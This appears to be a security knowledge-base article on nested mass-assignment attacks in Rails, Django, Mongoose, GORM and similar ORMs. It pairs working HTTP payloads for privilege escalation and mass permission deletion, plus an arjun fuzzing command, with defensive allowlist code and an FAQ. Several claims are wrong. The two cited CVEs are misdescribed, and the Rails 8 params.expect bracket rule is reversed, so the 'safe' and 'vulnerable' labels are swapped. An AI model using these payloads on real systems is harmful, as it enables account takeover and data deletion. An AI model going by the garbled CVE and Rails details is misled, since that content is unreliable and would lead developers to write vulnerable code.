Mass assignment through nested JSON objects or relationship associations that bypass top-level field filtering but accept nested privileged fields.
TL;DR
role_attributes and permissions_attributes reach associated modelsaccepts_nested_attributes_for + missing nested permit = association creation/deletion by attackerparams.expect() double-bracket regression — single-bracket form permits arrays-of-hashes for nested attributes_destroy: true deletes associated records — all permissions wiped via parent update endpointNested object mass assignment exploits ORM associations where a parent model update writes through to child or related models via nested hash syntax. Where top-level mass assignment injects role: "admin" as a direct field, nested assignment constructs role_attributes: {name: "admin"} or permissions_attributes: [{name: "delete:all"}] — fields one or more levels deep that bypass any allowlist applied only to the parent level.
Rails accepts_nested_attributes_for is the canonical surface, but every ORM with relationship support has an analogous pattern: Django nested serializers, Mongoose populate, GORM associations, and Laravel nested relationship writers. The attacker's goal is reaching privileged attributes on associated models via the parent resource's update endpoint — an endpoint the developer may have reviewed for direct field injection but not for association traversal.
The exploit path:
role, permissions, organization, subscription.accepts_nested_attributes_for (Rails) or nested serializers (Django/DRF)._destroy: true on existing association records to delete them.PATCH /api/v1/users/me HTTP/1.1
Content-Type: application/json
Authorization: Bearer <user_token>
{
"user": {
"email": "attacker@example.com",
"role_attributes": {
"name": "admin",
"id": 1
},
"permissions_attributes": [
{"name": "delete:all", "_destroy": false},
{"name": "admin", "_destroy": false}
],
"organization_attributes": {
"id": 1,
"owner_id": 1
}
}
}PATCH /users/me HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user[email]=attacker@example.com&user[role_attributes][name]=admin&user[admin]=true&user[is_admin]=true&user[permissions_attributes][0][name]=delete:all&user[permissions_attributes][0][_destroy]=falsePATCH /api/v1/users/me HTTP/1.1
Content-Type: application/json
{
"user": {
"permissions_attributes": [
{"id": 1, "_destroy": true},
{"id": 2, "_destroy": true},
{"id": 3, "_destroy": true}
]
}
}This deletes all permission records for the target user via the parent update endpoint — a denial-of-service via mass delete through nested attribute destruction.
# VULNERABLE in Rails 8 — single-bracket permits array-of-hashes
def invoice_params
params.expect(invoice: [:title, line_items_attributes: [:description, :amount]])
end
# SAFE in Rails 8 — double-bracket restricts to single hash
def invoice_params
params.expect(invoice: [:title, line_items_attributes: [[:description, :amount]]])
endWhen line_items_attributes uses the single-bracket form, Rails 8's params.expect incorrectly permits an array-of-hashes, allowing injection of privileged attributes on nested line_item records (e.g., price_override, discount_rate).
PATCH /api/v1/users/me HTTP/1.1
Content-Type: application/json
{
"profile.role": "admin",
"account.subscription": {"tier": "enterprise", "status": "active"},
"organization.owner_id": 1
}With Mongoose and dotted path support, User.findByIdAndUpdate(id, req.body) can traverse nested document paths. "profile.role": "admin" updates the role field inside the profile sub-document.
// VULNERABLE — Save() updates all associations including nested ones
func UpdateUser(c *gin.Context) {
var user models.User
json.NewDecoder(c.Request.Body).Decode(&user) // Full body → struct
db.Save(&user) // GORM updates Role association if user.Role is set
}{
"email": "attacker@example.com",
"Role": {"name": "admin", "id": 1}
}GORM's Save() with nested struct fields writes through to the associated Role record if cascade is active.
GitHub 2012 — Homakov (Historical, No CVE)
Egor Homakov exploited Rails nested attributes on GitHub.com. By posting an SSH key with owner_id=1 (referencing the rails/rails organization record), he associated his key with the organization. The exploit used the parent model's update to traverse an association and modify the owner_id field on the associated model — nested object assignment in its original form.
CVE-2024-39689 — Mongoose Populate Path Traversal (CVSS 7.5, 2024)
Mongoose's populate path resolution was exploitable when user-controlled field paths were passed to findByIdAndUpdate. Injecting Mongoose populate directives as nested JSON keys traversed to fields on related models outside the intended update scope — a nested path that reached non-permitted associations.
CVE-2024-43788 — webpack Prototype Pollution Chain (CVSS 7.3, 2024)
The webpack 5 merge utility propagated __proto__ keys from user-controlled JSON into nested merge operations. Sending {"__proto__": {"isAdmin": true}} in a nested position within a configuration merge poisoned the global Object prototype, affecting all subsequent property lookups in the Node.js process.
HackerOne #1069904 — GitLab Nested Admin Escalation ($6,337)
GitLab's user API accepted admin: true as a nested attribute in a PATCH request to /api/v4/users/:id. A regular authenticated user could set "admin": true inside the nested user object and escalate to GitLab instance administrator. The vulnerability required no special encoding — a single injected nested property granted full admin access. Awarded $6,337, demonstrating the high-severity impact of nested object mass assignment in self-hosted Git platforms.
The _destroy: true attack has no direct equivalent in most other languages. Rails accepts_nested_attributes_for enables deletion of associated records through the parent's update endpoint by default. Attackers can enumerate association IDs (often sequential) and _destroy all of them in a single PATCH request — wiping every permission, role assignment, or API key associated with a target account. Mitigation: add allow_destroy: false (default is false — verify your config) and restrict which IDs the caller may destroy via reject_if.
role, permissions, organization, subscription, profile.PATCH /api/v1/users/me HTTP/1.1
Content-Type: application/json
{
"role_attributes": {"name": "admin"},
"permissions_attributes": [{"name": "admin:write", "_destroy": false}],
"organization_attributes": {"owner_id": 1},
"profile_attributes": {"is_admin": true}
}user[role_attributes][name]=admin&user[permissions_attributes][0][name]=admin._destroy on each association type: permissions_attributes: [{id: 1, _destroy: true}].# Build a nested-path wordlist from the API's schema
arjun -u "https://target.com/api/v1/users/me" \
-m PATCH \
--data '{"email": "test@example.com"}' \
--headers "Authorization: Bearer <token>" \
-w nested-mass-assignment-wordlist.txtCustom wordlist for nested paths:
role_attributes[name]
permissions_attributes[0][name]
organization_attributes[owner_id]
account_attributes[subscription_tier]
profile_attributes[is_admin]BreachVex tests nested mass assignment by expanding the standard PATCH probe to include Rails-style nested attribute paths and Mongoose dotted-path notation, then confirming persistence in associated model records.
# VULNERABLE — nested attributes permitted without restriction
def user_params
params.require(:user).permit(:email, role_attributes: :name)
# _destroy not restricted, all fields in role permitted
end
# SAFE — explicit nested allowlist + no _destroy on sensitive associations
def user_params
params.require(:user).permit(
:email, :first_name, :last_name,
# Only permit safe fields on nested models
profile_attributes: [:bio, :avatar_url]
# role_attributes NOT permitted — cannot be set via user update
)
end
# For models using accepts_nested_attributes_for:
accepts_nested_attributes_for :profile, reject_if: :all_blank
# NOT: accepts_nested_attributes_for :role (don't allow role via user update)class ProfileUpdateSerializer(serializers.ModelSerializer):
class Meta:
model = Profile
fields = ['bio', 'avatar_url']
# role, is_admin not in nested serializer
class UserUpdateSerializer(serializers.ModelSerializer):
profile = ProfileUpdateSerializer(required=False)
class Meta:
model = User
fields = ['email', 'first_name', 'profile']
# role, permissions, groups NOT in nested fields
def update(self, instance, validated_data):
profile_data = validated_data.pop('profile', {})
# Update user fields
for attr, value in validated_data.items():
setattr(instance, attr, value)
instance.save()
# Update profile separately — only safe fields
if profile_data:
Profile.objects.filter(user=instance).update(**profile_data)
return instance// SAFE — explicitly omit association fields from update
func UpdateUser(c *gin.Context) {
var input UserUpdateInput // Struct with only allowed fields
c.ShouldBindJSON(&input)
// Omit("Role", "Permissions") prevents GORM from updating associations
db.Model(&user).Omit("Role", "Permissions", "Organization").Updates(input)
}// VULNERABLE — deep merge writes nested objects to ORM
const update = _.merge({}, user, req.body);
await User.findByIdAndUpdate(id, update);
// SAFE — explicit flat field extraction, no nested object paths
const { email, firstName, lastName, bio } = req.body;
await User.findByIdAndUpdate(id, { email, firstName, lastName, bio });
// For nested sub-documents, use $ notation explicitly:
await User.findByIdAndUpdate(id, {
$set: { 'profile.bio': bio } // only permitted sub-fields
});// UserUpdateDto has no nested Role, Permission, or Organization types
// Jackson cannot map role_attributes because the type is not declared
public class UserUpdateDto {
@Email private String email;
private String firstName;
private String lastName;
private ProfileUpdateDto profile; // Only safe profile DTO allowed
// No RoleDto, PermissionDto — nested privileged objects rejected
}
public class ProfileUpdateDto {
@Size(max = 500) private String bio;
@URL private String avatarUrl;
// is_admin, role NOT present in this DTO
}Nested object mass assignment exploits ORM associations where a parent model update can write through to child or related models via nested hash syntax. In Rails, accepts_nested_attributes_for enables writing to role_attributes, permissions_attributes, and organization_attributes from the parent user update. Django and Mongoose have analogous nested serializer and populate patterns.
accepts_nested_attributes_for is a Rails macro that allows a parent model's form submission to create/update associated records in the same request. When strong_parameters does not restrict the nested attributes allowlist (or uses permit! on nested hashes), an attacker can create admin roles, delete existing permissions, or modify associated organization ownership through the parent resource's update endpoint.
Rails 8 introduced params.expect() as a stricter replacement for params.require().permit(). When using nested hashes with the single-bracket form params.expect(invoice: [:title, line_items_attributes: [:amount]]), Rails incorrectly permits an array-of-hashes instead of a single hash for line_items_attributes — allowing attribute injection on nested models. The fix is double-bracket: line_items_attributes: [[:amount]].
Mongoose's populate() method resolves references between documents. If an update handler passes user-controlled field paths to Model.findByIdAndUpdate() without restricting which paths may be traversed, an attacker can inject populate paths as field names, reaching properties on related models outside the intended update scope. CVE-2024-39689 demonstrates this pattern.
GORM's Save() and Updates() methods with user-controlled struct fields can update nested associations when GORM's auto-preload and association handling is active. If the struct passed to Save() contains nested association fields derived from user input, those associations are updated. The fix is using GORM's Omit() to exclude association fields from updates.
Rails nested attributes accept a _destroy: true key that deletes the associated record. An attacker sending permissions_attributes: [{id: 1, _destroy: true}, {id: 2, _destroy: true}] can delete all of a user's permission records through the parent update endpoint, effectively revoking all fine-grained access controls — a denial-of-service via mass delete.
CVE-2024-39689 (Mongoose populate path traversal, CVSS 7.5) — nested field paths reached non-permitted model associations. CVE-2024-43788 (webpack prototype pollution, CVSS 7.3) — nested __proto__ traversal in merge operations. Historical: GitHub 2012 Homakov exploited Rails nested attributes via organization_attributes to associate his key with the rails/rails org.
Send nested variants of privileged field names: user[role]=admin (Rails form encoding), {user: {role_attributes: {name: 'admin'}}}, {user: {permissions_attributes: [{name: 'admin', _destroy: false}]}}, {account: {owner_id: 1}}, {organization_attributes: {id: 1, owner_id: 1}}. Test both JSON bodies and application/x-www-form-urlencoded encoding.
SQLAlchemy relationships with cascade='all, delete-orphan' and back_populates can be manipulated if a FastAPI endpoint accepts nested Pydantic models with extra='allow'. An attacker injects nested relationship data that SQLAlchemy applies to associated models. Fix: separate Pydantic models for each level of the relationship, each with extra='forbid'.
An attacker sends POST /users/me with X-HTTP-Method-Override: PUT and nested attributes in the body. The WAF applies POST rules (which may permit nested payloads) while the application processes it as PUT with nested model updates. Combining method smuggling with nested attribute injection bypasses WAF rules that specifically block PATCH/PUT with sensitive nested keys.